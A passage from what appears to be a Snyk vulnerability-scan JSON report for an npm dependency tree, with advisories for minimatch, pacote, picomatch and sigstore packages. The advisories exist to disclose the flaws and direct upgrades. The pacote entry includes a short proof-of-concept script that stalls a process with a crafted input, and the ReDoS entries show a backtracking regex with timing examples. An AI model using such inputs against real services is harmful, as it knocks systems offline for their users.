"secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "minimatch", "version": "10.2.2", "severityWithCritical": "high" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "minimatch", "version": "10.2.2", "severityWithCritical": "high" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "pacote", "version": "21.4.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "picomatch", "version": "4.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "sigstore", "version": "4.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", 